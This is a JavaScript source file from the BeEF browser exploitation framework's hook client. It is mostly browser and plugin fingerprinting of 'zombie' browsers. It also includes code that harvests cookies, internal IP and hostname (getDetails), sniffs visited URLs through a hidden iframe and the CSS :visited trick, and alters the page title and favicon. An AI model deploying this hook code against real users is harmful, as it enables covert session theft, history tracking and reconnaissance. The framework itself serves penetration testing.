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beef/core/main/client/browser.js
bcoles ec7d3134aa Updated browser detection in hook initialization 
Future proofed browser version detection in preperation for double
digit major version numbers

Updated flash detection in Internet Explorer for Flash 11.x
2011-12-12 00:17:15 +10:30

901 lines
28 KiB
JavaScript
Raw Blame History

//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/**
* @literal object: beef.browser
*
* Basic browser functions.
*/
beef.browser = {
/**
* Returns the user agent that the browser is claiming to be.
* @example: beef.browser.getBrowserReportedName()
*/
getBrowserReportedName: function() {
return navigator.userAgent;
},
/**
* Returns true if IE6.
* @example: beef.browser.isIE6()
*/
isIE6: function() {
return !window.XMLHttpRequest && !window.globalStorage;
},
/**
* Returns true if IE7.
* @example: beef.browser.isIE7()
*/
isIE7: function() {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
},
/**
* Returns true if IE8.
* @example: beef.browser.isIE8()
*/
isIE8: function() {
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
},
/**
* Returns true if IE9.
* @example: beef.browser.isIE9()
*/
isIE9: function() {
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
},
/**
* Returns true if IE.
* @example: beef.browser.isIE()
*/
isIE: function() {
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
},
/**
* Returns true if FF2.
* @example: beef.browser.isFF2()
*/
isFF2: function() {
return !!window.globalStorage && !window.postMessage;
},
/**
* Returns true if FF3.
* @example: beef.browser.isFF3()
*/
isFF3: function() {
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
},
/**
* Returns true if FF3.5.
* @example: beef.browser.isFF3_5()
*/
isFF3_5: function() {
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
},
/**
* Returns true if FF3.6.
* @example: beef.browser.isFF3_6()
*/
isFF3_6: function() {
return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
},
/**
* Returns true if FF4.
* @example: beef.browser.isFF4()
*/
isFF4: function() {
return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
},
/**
* Returns true if FF5.
* @example: beef.browser.isFF5()
*/
isFF5: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
},
/**
* Returns true if FF6.
* @example: beef.browser.isFF6()
*/
isFF6: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
},
/**
* Returns true if FF7.
* @example: beef.browser.isFF7()
*/
isFF7: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
},
/**
* Returns true if FF8.
* @example: beef.browser.isFF8()
*/
isFF8: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
},
/**
* Returns true if FF9.
* @example: beef.browser.isFF9()
*/
isFF9: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
},
/**
* Returns true if FF10.
* @example: beef.browser.isFF10()
*/
isFF10: function() {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
},
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF: function() {
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10();
},
/**
* Returns true if Safari 4.xx
* @example: beef.browser.isS4()
*/
isS4: function() {
return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
},
/**
* Returns true if Safari 5.xx
* @example: beef.browser.isS5()
*/
isS5: function() {
return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
},
/**
* Returns true if Safari.
* @example: beef.browser.isS()
*/
isS: function() {
return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
},
/**
* Returns true if Chrome 5.
* @example: beef.browser.isC5()
*/
isC5: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false);
},
/**
* Returns true if Chrome 6.
* @example: beef.browser.isC6()
*/
isC6: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false);
},
/**
* Returns true if Chrome 7.
* @example: beef.browser.isC7()
*/
isC7: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false);
},
/**
* Returns true if Chrome 8.
* @example: beef.browser.isC8()
*/
isC8: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false);
},
/**
* Returns true if Chrome 9.
* @example: beef.browser.isC9()
*/
isC9: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false);
},
/**
* Returns true if Chrome 10.
* @example: beef.browser.isC10()
*/
isC10: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false);
},
/**
* Returns true if Chrome 11.
* @example: beef.browser.isC11()
*/
isC11: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==11)?true:false);
},
/**
* Returns true if Chrome 12.
* @example: beef.browser.isC12()
*/
isC12: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==12)?true:false);
},
/**
* Returns true if Chrome 13.
* @example: beef.browser.isC13()
*/
isC13: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==13)?true:false);
},
/**
* Returns true if Chrome 14.
* @example: beef.browser.isC14()
*/
isC14: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==14)?true:false);
},
/**
* Returns true if Chrome 15.
* @example: beef.browser.isC15()
*/
isC15: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==15)?true:false);
},
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15();
},
/**
* Returns true if Opera 9.50 through 9.52.
* @example: beef.browser.isO9_52()
*/
isO9_52: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
},
/**
* Returns true if Opera 9.60 through 9.64.
* @example: beef.browser.isO9_60()
*/
isO9_60: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
},
/**
* Returns true if Opera 10.xx.
* @example: beef.browser.isO10()
*/
isO10: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
},
/**
* Returns true if Opera 11.xx.
* @example: beef.browser.isO11()
*/
isO11: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
},
/**
* Returns true if Opera.
* @example: beef.browser.isO()
*/
isO: function() {
return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11();
},
/**
* Returns the type of browser being used.
* @example: beef.browser.type().IE6
* @example: beef.browser.type().FF
* @example: beef.browser.type().O
*/
type: function() {
return {
C5: this.isC5(), // Chrome 5
C6: this.isC6(), // Chrome 6
C7: this.isC7(), // Chrome 7
C8: this.isC8(), // Chrome 8
C9: this.isC9(), // Chrome 9
C10: this.isC10(), // Chrome 10
C11: this.isC11(), // Chrome 11
C12: this.isC12(), // Chrome 12
C13: this.isC13(), // Chrome 13
C14: this.isC14(), // Chrome 14
C15: this.isC15(), // Chrome 15
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
FF3: this.isFF3(), // Firefox 3
FF3_5: this.isFF3_5(), // Firefox 3.5
FF3_6: this.isFF3_6(), // Firefox 3.6
FF4: this.isFF4(), // Firefox 4
FF5: this.isFF5(), // Firefox 5
FF6: this.isFF6(), // Firefox 6
FF7: this.isFF7(), // Firefox 7
FF8: this.isFF8(), // Firefox 8
FF9: this.isFF9(), // Firefox 9
FF10: this.isFF10(), // Firefox 10
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
IE7: this.isIE7(), // Internet Explorer 7
IE8: this.isIE8(), // Internet Explorer 8
IE9: this.isIE9(), // Internet Explorer 9
IE: this.isIE(), // Internet Explorer any version
O9_52: this.isO9_52(), // Opera 9.50 through 9.52
O9_60: this.isO9_60(), // Opera 9.60 through 9.64
O10: this.isO10(), // Opera 10.xx
O11: this.isO11(), // Opera 11.xx
O: this.isO(), // Opera any version
S4: this.isS4(), // Safari 4.xx
S5: this.isS5(), // Safari 5.xx
S: this.isS() // Safari any version
}
},
/**
* Returns the type of browser being used.
* @return: {String} User agent software and version.
*
* @example: beef.browser.getBrowserVersion()
*/
getBrowserVersion: function() {
if (this.isC5()) { return '5' }; // Chrome 5
if (this.isC6()) { return '6' }; // Chrome 6
if (this.isC7()) { return '7' }; // Chrome 7
if (this.isC8()) { return '8' }; // Chrome 8
if (this.isC9()) { return '9' }; // Chrome 9
if (this.isC10()) { return '10' }; // Chrome 10
if (this.isC11()) { return '11' }; // Chrome 11
if (this.isC12()) { return '12' }; // Chrome 12
if (this.isC13()) { return '13' }; // Chrome 13
if (this.isC14()) { return '14' }; // Chrome 14
if (this.isC15()) { return '15' }; // Chrome 15
if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5
if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6
if (this.isFF4()) { return '4' }; // Firefox 4
if (this.isFF5()) { return '5' }; // Firefox 5
if (this.isFF6()) { return '6' }; // Firefox 6
if (this.isFF7()) { return '7' }; // Firefox 7
if (this.isFF8()) { return '8' }; // Firefox 8
if (this.isFF9()) { return '9' }; // Firefox 9
if (this.isFF10()) { return '10' }; // Firefox 10
if (this.isIE6()) { return '6' }; // Internet Explorer 6
if (this.isIE7()) { return '7' }; // Internet Explorer 7
if (this.isIE8()) { return '8' }; // Internet Explorer 8
if (this.isIE9()) { return '9' }; // Internet Explorer 9
if (this.isS4()) { return '4' }; // Safari 4
if (this.isS5()) { return '5' }; // Safari 5
if (this.isO9_52()) { return '9.5'}; // Opera 9.5x
if (this.isO9_60()) { return '9.6'}; // Opera 9.6
if (this.isO10()) { return '10' }; // Opera 10.xx
if (this.isO11()) { return '11' }; // Opera 11.xx
return 'UNKNOWN'; // Unknown UA
},
/**
* Returns the type of user agent by hooked browser.
* @return: {String} User agent software.
*
* @example: beef.browser.getBrowserName()
*/
getBrowserName: function() {
if (this.isC()) { return 'C' }; // Chrome any version
if (this.isFF()) { return 'FF'}; // Firefox any version
if (this.isIE()) { return 'IE'}; // Internet Explorer any version
if (this.isO()) { return 'O' }; // Opera any version
if (this.isS()) { return 'S' }; // Safari any version
return 'UN'; // Unknown UA
},
/**
* Checks if the zombie has flash installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasFlash()) { ... }
*/
hasFlash: function() {
if (!this.type().IE) {
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
} else {
flash_versions = 11;
flash_installed = false;
if (window.ActiveXObject) {
for (x = 2; x <= flash_versions; x++) {
try {
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
if (Flash) {
flash_installed = true;
}
}
catch(e) { }
}
};
return flash_installed;
}
},
/**
* Checks if the zombie has Java installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasJava()) { ... }
*/
hasJava: function() {
if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) {
return true;
}
return false;
},
/**
* Checks if the zombie has VBScript enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasVBScript()) { ... }
*/
hasVBScript: function() {
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
return true;
} else {
return false;
}
},
/**
* Returns the list of plugins installed in the browser.
*/
getPlugins: function() {
var results = '';
if (this.isIE())
{
results = this.getPluginsIE();
} else {
if (navigator.plugins && navigator.plugins.length > 0)
{
var length = navigator.plugins.length;
for (var i=0; i < length; i++)
{
if (i != 0)
results += '\n';
if(beef.browser.isFF()){ //FF returns exact plugin versions
results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
}else{ // Webkit and Presto (Opera) doesn't support the version attribute, and
// sometimes they store plugin version in description (Real, Adobe)
results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
}
} else {
results = 'navigator.plugins is not supported in this browser!';
}
}
return results;
},
/**
* Returns a list of plugins detected by IE. This is a hack because IE doesn't
* support navigator.plugins
*/
getPluginsIE: function() {
var results = '';
var plugins = {'AdobePDF6':{
'control':'PDF.PdfCtrl',
'return': function(control) {
version = control.getVersions().split(',');
version = version[0].split('=');
return 'Acrobat Reader v'+parseFloat(version[1]);
}},
'AdobePDF7':{
'control':'AcroPDF.PDF',
'return': function(control) {
version = control.getVersions().split(',');
version = version[0].split('=');
return 'Acrobat Reader v'+parseFloat(version[1]);
}},
'Flash':{
'control':'ShockwaveFlash.ShockwaveFlash',
'return': function(control) {
version = control.getVariable('$version').substring(4);
version = version.split(',');
return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]);
}},
'Quicktime':{
'control': 'QuickTime.QuickTime',
'return': function(control) {
return 'QuickTime Player';
}},
'RealPlayer':{
'control': 'RealPlayer',
'return': function(control) {
version = control.getVersionInfo();
return 'RealPlayer v'+parseFloat(version);
}},
'Shockwave':{
'control': 'SWCtl.SWCtl',
'return': function(control) {
version = control.ShockwaveVersion('').split('r');
return 'Shockwave v'+parseFloat(version[0]);
}},
'WindowsMediaPlayer': {
'control': 'WMPlayer.OCX',
'return': function(control) {
return 'Windows Media Player v'+parseFloat(control.versionInfo);
}}
};
if (window.ActiveXObject) {
var j = 0;
for (var i in plugins)
{
var control = null;
var version = null;
try {
control = new ActiveXObject(plugins[i]['control']);
} catch (e) { }
if (control)
{
if (j != 0)
results += ', ';
results += plugins[i]['return'](control);
j++;
}
}
}
return results;
},
/**
* Returns zombie screen size and color depth.
*/
getScreenParams: function() {
return {
width: window.screen.width,
height: window.screen.height,
colordepth: window.screen.colorDepth
}
},
/**
* Returns zombie browser window size.
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
*/
getWindowSize: function() {
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
// Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
// IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
// IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
return {
width: myWidth,
height: myHeight
}
},
/**
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
*/
getDetails: function() {
var details = new Array();
var browser_name = beef.browser.getBrowserName();
var browser_version = beef.browser.getBrowserVersion();
var browser_reported_name = beef.browser.getBrowserReportedName();
var cookies = document.cookie;
var page_title = document.title;
var hostname = document.location.hostname;
var hostport = (document.location.port)? document.location.port : "80";
var browser_plugins = beef.browser.getPlugins();
var os_name = beef.os.getName();
var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
var screen_params = beef.browser.getScreenParams();
var window_size = beef.browser.getWindowSize();
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No";
var has_activex = (typeof(window.ActiveXObject) != "undefined") ? "Yes":"No";
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie"))? "Yes":"No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie"))? "Yes":"No";
if(browser_name) details["BrowserName"] = browser_name;
if(browser_version) details["BrowserVersion"] = browser_version;
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
if(cookies) details["Cookies"] = cookies;
if(page_title) details["PageTitle"] = page_title;
if(hostname) details["HostName"] = hostname;
if(hostport) details["HostPort"] = hostport;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
if(system_platform) details['SystemPlatform'] = system_platform;
if(internal_ip) details['InternalIP'] = internal_ip;
if(internal_hostname) details['InternalHostname'] = internal_hostname;
if(browser_type) details['BrowserType'] = browser_type;
if(screen_params) details['ScreenParams'] = screen_params;
if(window_size) details['WindowSize'] = window_size;
if(java_enabled) details['JavaEnabled'] = java_enabled
if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
if(has_flash) details['HasFlash'] = has_flash
if(has_web_socket) details['HasWebSocket'] = has_web_socket
if(has_googlegears) details['HasGoogleGears'] = has_googlegears
if(has_activex) details['HasActiveX'] = has_activex;
if(has_session_cookies) details["hasSessionCookies"] = has_session_cookies;
if(has_persistent_cookies) details["hasPersistentCookies"] = has_persistent_cookies;
return details;
},
/**
* Returns array of results, whether or not the target zombie has visited the specified URL
*/
hasVisited: function(urls) {
var results = new Array();
var iframe = beef.dom.createInvisibleIframe();
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
ifdoc.open();
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
ifdoc.close();
urls = urls.split("\n");
var count = 0;
for (var i in urls)
{
var u = urls[i];
if (u != "" || u != null)
{
var success = false;
var a = ifdoc.createElement('a');
a.href = u;
ifdoc.body.appendChild(a);
var width = null;
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
if (width == '0px') {
success = true;
}
results.push({'url':u, 'visited':success});
count++;
}
}
beef.dom.removeElement(iframe);
if (results.length == 0)
{
return false;
}
return results;
},
/**
* Checks if the zombie has Web Sockets enabled.
* @return: {Boolean} true or false.
* In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
* */
hasWebSocket: function() {
if (!!window.WebSocket || !!window.MozWebSocket) return true; else return false;
},
/**
* Checks if the zombie has Google Gears installed.
* @return: {Boolean} true or false.
*
* @from: https://code.google.com/apis/gears/gears_init.js
* */
hasGoogleGears: function() {
if (window.google && google.gears) {
return true;
}
var ggfactory = null;
// Firefox
if (typeof GearsFactory != 'undefined') {
ggfactory = new GearsFactory();
} else {
// IE
try {
ggfactory = new ActiveXObject('Gears.Factory');
// IE Mobile on WinCE.
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
ggfactory.privateSetGlobalObject(this);
}
} catch (e) {
// Safari
if ((typeof navigator.mimeTypes != 'undefined')
&& navigator.mimeTypes["application/x-googlegears"]) {
ggfactory = document.createElement("object");
ggfactory.style.display = "none";
ggfactory.width = 0;
ggfactory.height = 0;
ggfactory.type = "application/x-googlegears";
document.documentElement.appendChild(ggfactory);
if(ggfactory && (typeof ggfactory.create == 'undefined')) {
ggfactory = null;
}
}
}
}
if (!ggfactory) {
return false
} else {
return true
}
},
/**
* Dynamically changes the favicon: works in Firefox, Chrome and Opera
**/
changeFavicon: function(favicon_url) {
var iframe = null;
if (this.isC()) {
iframe = document.createElement('iframe');
iframe.src = 'about:blank';
iframe.style.display = 'none';
document.body.appendChild(iframe);
}
var link = document.createElement('link'),
oldLink = document.getElementById('dynamic-favicon');
link.id = 'dynamic-favicon';
link.rel = 'shortcut icon';
link.href = favicon_url;
if (oldLink) {
document.head.removeChild(oldLink);
}
document.head.appendChild(link);
if (this.isC()) {
iframe.src += '';
}
},
/**
* Changes page title
**/
changePageTitle: function(title) {
document.title = title;
},
/**
* A function that gets the max number of simaltaneous connections the browser can make
* per domain, or globally on all domains.
*
* This code is based on research from browserspy.dk
*
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
* the number of connections to the callback function as "this"
*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*
*/
getMaxConnections: function(scope) {
var imagesCount = 30; // Max number of images to test.
var secondsTimeout = 5; // Image load timeout threashold.
var testUrl =""; // The image testing service URL.
// User broserspy.dk max connections service URL.
if(scope=='PER_DOMAIN')
testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
else
// The token will be replaced by a different number with each request(different domain).
testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
var imagesLoaded = 0; // Number of responding images before timeout.
var imagesRequested = 0; // Number of requested images.
var testImages = new Array(); // Array of all images.
var deferredObject = $j.Deferred(); // A jquery Deferred object.
for (var i = 1; i <= imagesCount; i++)
{
// Asynchronously request image.
testImages[i] =
$j.ajax({
type: "get",
dataType: true,
url: (testUrl.replace("<token>",i)) + Math.random(),
data: "",
timeout: (secondsTimeout * 1000),
// Function on completion of request.
complete: function(jqXHR, textStatus){
imagesRequested++;
// If the image returns a 200 or a 302, the text Status is "error", else null
if(textStatus == "error")
{
imagesLoaded++;
}
// If all images requested
if(imagesRequested >= imagesCount)
{
// resolve the deferred object passing the number of loaded images.
deferredObject.resolveWith(imagesLoaded);
}
}
});
}
// Return a promise to resolve the deffered object when the images are loaded.
return deferredObject.promise();
}
};
beef.regCmp('beef.browser');
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